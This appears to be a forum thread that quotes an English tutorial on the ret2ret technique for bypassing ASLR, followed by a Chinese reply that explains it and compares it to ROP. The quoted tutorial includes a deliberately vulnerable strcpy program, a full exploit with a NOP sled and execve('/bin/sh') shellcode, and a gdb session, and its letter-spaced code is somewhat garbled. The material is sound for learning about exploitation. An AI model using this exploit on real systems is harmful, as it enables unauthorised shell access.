Figure 17: ret2ret.c
v o i d f u n c t i o n ( char ∗ s t r ) {
char b u f f e r [ 2 5 6 ] ;
strcpy ( buffer , s t r ) ;
}
i n t main ( i n t a r g c , char ∗∗ a r g v ) {
i n t no = 1 ;
i n t ∗ p t r = &no ;
f u n c t i o n ( argv [ 1 ] ) ;
}
Figure 18: ret2retExploit.c
i n t main ( v o i d ) {
char ∗ b u f f , ∗ p t r ;
long ∗ a d r p t r ; i n t
i;
buff = malloc ( 2 8 0 ) ;
ptr = buff ;
a d r p t r = ( long ∗) p t r ;
f o r ( i = 0 ; i <280; i +=4)
∗ ( a d r p t r ++) = 0 x 0 8 0 4 8 4 0 f ;
f o r ( i = 0 ; i <260; i ++)
b u f f [ i ] = 0 x90 ;
ptr = buff +
(260− s t r l e n ( s h e l l c o d e ) ) ;
f o r ( i = 0 ; i <s t r l e n ( s h e l l c o d e ) ; i ++)
∗ ( p t r ++) = s h e l l c o d e [ i ] ;
b u f f [ 2 8 0 ] = ’ \0 ’ ;
p r i n t f ( ”%s ” , b u f f ) ;
}
char s h e l l c o d e [ ] =
” \ x31 \ xc0 ”
” \ x50 ”
” \ x68 ” ” / / s h ”
” \ x68 ” ” / b i n ”
” \ x89 \ xe3 ”
” \ x50 ”
” \ x53 ”
” \ x89 \ xe1 ”
” \ x99 ”
” \ xb0 \ x0b ”
” \ xcd \ x80 ”
;
Figure 16: ret2ret illustration
ret2ret
The problem with ASLR is that it is useless to overwrite the return address with a fixed address. The idea of ret2ret is to return to an already existing pointer that points into the shellcode. Already existing pointers must contain valid stack addresses to work. These valid stack addresses are potential pointers to the shellcode.
The attacker does not know anything about the stack addresses, but that does not matter, because he overwrites the instruction pointer by the content of such a potential shellcode pointer.
That sounds easy in theory. But there is a big practical problem: How to use such a pointer as return address? Till now the only way to manipulate the program flow was to overwrite the return instruction pointer directly. But it is not possible to copy something, e.g. the potential shellcode pointer, to this location. Therefore another way is used to get the potential shellcode pointer into the EIP register: return to return to return
to ... to the pointer (see figure 16).
That means it is possible to move hand over hand straight to the shellcode pointer using several ret commands. To understand the chain of returns you
have to recall what a return does: A return means pop eip, i.e. the content of the location where the ESP points to is written to the EIP. Usually this content is the RIP, when ret is called. Furthermore the ESP jumps one location upwards (the stack shrinks).
Imagine the RIP location contains a pointer to a ret command itself, and the location above as well and so on. This would end in a chain of returns: ret2ret.Remember that the addresses of the code segment are not randomized. A ret command can be found in the code segment of every program. So it is no problem to fill the stack with reliable pointers to return commands. The return chain should end right before the potential shellcode pointer, which would be called by the last ret. So the number of returns is variable, based on the offset from the return instruction pointer to the potential shellcode pointer.The potential shellcode pointer must be placed above(that means before) the first RIP, i.e. the pointer has to be older than the vulnerable buffer. But where to find pointers to newer stack frames? Every string and therefore most buffer overflows have to be terminated by a zero byte. Thus the least significant byte of the potential shellcode pointer can be overwritten with a zero.Due to this zero byte the pointer may be smaller than before and from there on it points to newer stack contents - where the shellcode is placed (see figure 16).
This byte alignment only works on a little endian system and a downwards growing stack. Who wants to try this on Sun SPARC?
As an example behold figure 17. This C program comes with a strcpy vulnerability and the potential pointer ptr. What is needed for an exploit is the address of a return command. It can be determined by using gdb as follows:
(gdb) disass main
0x080483d4 <main +0>: lea ...
...
0x0804840f <main+59>: ret
So a possible address to a ret command is 0804840fhex . Another possible address can be find out by disass function. Everything else, like how many ret commands have to placed before the pointer, can be determined by gdb as well. I think I do not have to mention all this issues in detail. But I
want to point out, that such an exploit should contain as much NOP instructions (0x90) as possible to increase the chance of the potential pointer to hit the shellcode. You can find an (often) working exploit for ret2ret in figure 18. Just pass the output of the exploit to the input of ret2ret:
> ./ret2ret ‘./ret2retExploit‘
sh-3.1$
I said it works ”often”, because the address space is randomized by every instantiation and so there will be always a remaining risk, that the shellcode pointer do not lead to its goal (after the byte alignment).
楼主你对ret的理解没有问题,这个覆盖ret的方法是最基础缓冲区溢出的方法,正常情况下,比如把ret的地址换成栈帧的地址,就能去执行shellcode了,但我觉得你可能对这个英文阅读上面存在一些误解。
我大致阅读了一下这个英文文档,回答不一定准确,欢迎斧正,我大致看了一下,问题出现在里面的pointer,这里的理解应该是指针,这么想就很明白了,这个ret ret ret的方法有点像ROP链,只不过ROP链是一次采用pop,pop,pop,ret的指令序列直接到达某些关键地址,也通过这样的方法将某些关键函数存入寄存器,方便后续调用,在Linux下则是利用ROPGadget用于x64下攻防,或者利用ROP绕过DEP(扯得多了些)
那么利用ret ret ret的方法,将栈帧推移到某个关键的pointer,这里的理解就是指针,就是样例程序中给出的 i n t ∗ p t r = &no ;(不得不吐槽一下楼主代码粘贴格式需要稍微改善一下:) )
通过strcpy覆盖,将这个指针的地址位置覆盖成shellcode,这样到指针调用位置的时候ret,就相当于call [eax]了,这个调用方法在windows下大家应该很熟悉,就是类似于利用虚函数执行任意代码的意思。